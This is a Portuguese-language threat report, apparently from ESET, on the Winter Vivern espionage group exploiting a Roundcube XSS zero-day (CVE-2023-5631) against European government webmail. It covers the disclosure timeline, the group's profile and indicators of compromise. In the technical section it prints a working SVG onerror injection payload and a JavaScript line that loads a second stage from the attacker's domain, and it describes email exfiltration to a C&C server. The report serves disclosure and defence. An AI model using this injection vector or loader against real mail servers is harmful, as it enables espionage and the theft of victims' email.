A Equipe de Pesquisa da ESET tem acompanhado de perto as operações de ciberespionagem do Winter Vivern por mais de um ano e, durante nosso monitoramento de rotina, descobrimos que o grupo começou a explorar uma vulnerabilidade XSS de zero-day no servidor Roundcube Webmail em 11 de outubro de 2023. Essa é uma vulnerabilidade diferente da CVE-2020-35730, que também foi explorada pelo grupo, de acordo com nossa pesquisa.

De acordo com os dados de telemetria da ESET, a campanha teve como alvo os servidores Roundcube Webmail pertencentes a órgãos governamentais e a um think tank, todos na Europa.

Linha do tempo da divulgação da vulnerabilidade:

  • 12-10-2023: A Equipe de Pesquisa da ESET relatou a vulnerabilidade à equipe do Roundcube.
  • 14-10-2023: A equipe do Roundcube respondeu e reconheceu a vulnerabilidade.
  • 14-10-2023: A equipe do Roundcube corrigiu a vulnerabilidade.
  • 16-10-2023: A equipe do Roundcube lançou atualizações de segurança para corrigir a vulnerabilidade (1.6.4, 1.5.5 e 1.4.15).
  • 18-10-2023: A ESET CNA emite um CVE para a vulnerabilidade (CVE-2023-5631).
  • 25-10-2023: Publicação de um post no blog da Equipe de Pesquisa da ESET.

Gostaríamos de agradecer aos desenvolvedores do Roundcube pela rápida resposta e por corrigir a vulnerabilidade em um período de tempo tão curto.

Perfil do Winter Vivern

O Winter Vivern é um grupo de ciberespionagem descoberto pela primeira vez pela DomainTools em 2021. Acredita-se que ele esteja ativo desde pelo menos 2020 e tem como alvo governos da Europa e da Ásia Central. Para comprometer seus alvos, o grupo usa documentos maliciosos, sites de phishing e um backdoor personalizado do PowerShell (veja os artigos do Centro de Proteção Cibernética do Estado da Ucrânia e do SentinelLabs). Acreditamos que o Winter Vivern está vinculado ao MoustachedBouncer, um sofisticado grupo alinhado à Bielorrússia sobre o qual publicamos pela primeira vez em agosto de 2023.

O Winter Vivern tem como alvo os servidores de e-mail Zimbra e Roundcube pertencentes a órgãos governamentais desde pelo menos 2022 - veja este artigo da Proofpoint. Em particular, observamos que o grupo explorou a CVE-2020-35730, outra vulnerabilidade XSS no Roundcube, em agosto e setembro de 2023. Observe que o Sednit (também conhecido como APT28) também está explorando essa antiga vulnerabilidade XSS no Roundcube, às vezes contra os mesmos alvos.

Detalhes técnicos

A exploração da vulnerabilidade XSS, designada CVE-2023-5631, pode ser feita remotamente enviando uma mensagem de e-mail especialmente criada. Nessa campanha do grupo Winter Vivern, os e-mails foram enviados do e-mail team.managment@outlook[.]com e tinham o assunto Get started in your Outlook, conforme mostrado na Figura 1.

Figure-1-wintervivern-email-xss-cve-redacted
Figura 1: Mensagem de e-mail.

À primeira vista, o e-mail não parece malicioso, mas se examinarmos o código-fonte HTML, mostrado na Figura 2, podemos ver uma tag SVG no final, que contém um payload codificado em base64.

Figure-2-winter-vivern-email-message
Figura 2: Mensagem de e-mail com uma tag SVG maliciosa.

Quando decodificamos o valor codificado em base64 no atributo href da tag use, temos:

<svg id="x" xmlns="http://www.w3.org/2000/svg"> <image href="x" onerror="eval(atob('<base64-encoded payload>'))" /></svg>

Como o argumento x value do atributo href não é um URL válido, o atributo onerror desse objeto será ativado. A decodificação do payload no atributo onerror nos fornece o seguinte código JavaScript (com o URL malicioso alterado manualmente), que será executado no navegador da vítima no contexto de sua sessão: 

var fe=document.createElement('script');fe.src="https://recsecas[.]com/controlserver/checkupdate.js";document.body.appendChild(fe);

Surpreendentemente, notamos que a injeção de JavaScript funcionou em uma instância do Roundcube totalmente corrigida. Descobrimos que se tratava de uma vulnerabilidade XSS de zero-day que afetava o script do lado do servidor rcube_washtml.php, que não higieniza adequadamente o documento SVG malicioso antes de ser adicionado à página HTML interpretada por um usuário do Roundcube. Informamos o Roundcube sobre o problema e ele foi corrigido em 14 de outubro de 2023 (veja este commit). A vulnerabilidade afeta as versões do Roundcube 1.6.x antes da 1.6.4, 1.5.x antes da 1.5.5 e 1.4.x antes da 1.4.15.

Em resumo, ao enviar uma mensagem de e-mail especialmente elaborada, os atacantes podem carregar código JavaScript arbitrário no contexto da janela do navegador do usuário do Roundcube. Não é necessária nenhuma interação manual além da visualização da mensagem em um navegador da Web.

O segundo estágio é um loader de JavaScript simples chamado checkupdate.js, assim como mostrado na Figura 3.

Figure 3. javascript-loader
Figure 3. loader de JavaScript.

O payload JavaScript final - mostrado na Figura 4 - é capaz de listar pastas e e-mails na conta atual do Roundcube e exfiltrar mensagens de e-mail para o servidor C&C fazendo solicitações HTTP para https://recsecas[.]com/controlserver/saveMessage.

Figure-4-final-payload
Figura 4. Payload final de JavaScript filtrando mensagens de e-mail da conta do Roundcube (parte do script ofuscado foi removida para maior clareza).

Conclusão

O Winter Vivern intensificou suas operações usando uma vulnerabilidade zero-day no Roundcube. Anteriormente, ele estava usando vulnerabilidades conhecidas no Roundcube e no Zimbra, para as quais existem provas de conceito disponíveis on-line.

Apesar da baixa sofisticação do conjunto de ferramentas do grupo, eles são uma ameaça para os governos da Europa devido à sua persistência, à execução muito regular de campanhas de phishing e ao fato de um número significativo de aplicativos voltados para a internet não ser atualizado regularmente, embora se saiba que eles contêm vulnerabilidades.

Indicadores de Comprometimento

Arquivos

SHA-1

Filename

Detection

Description

97ED594EF2B5755F0549C6C5758377C0B87CFAE0

checkupdate.js

JS/WinterVivern.B

JavaScript loader.

8BF7FCC70F6CE032217D9210EF30314DDD6B8135

N/A

JS/Kryptik.BIK

JavaScript payload exfiltrating emails in Roundcube.

Rede

IP

Domain

Hosting provider

First seen

Details

38.180.76[.]31

recsecas[.]com

M247 Europe SRL

2023-09-28

Winter Vivern C&C server

Endereços de e-mail

team.managment@outlook[.]com

Técnicas do MITRE ATT&CK

Esta tabela foi criada usando a versão 13 da estrutura MITRE ATT&CK.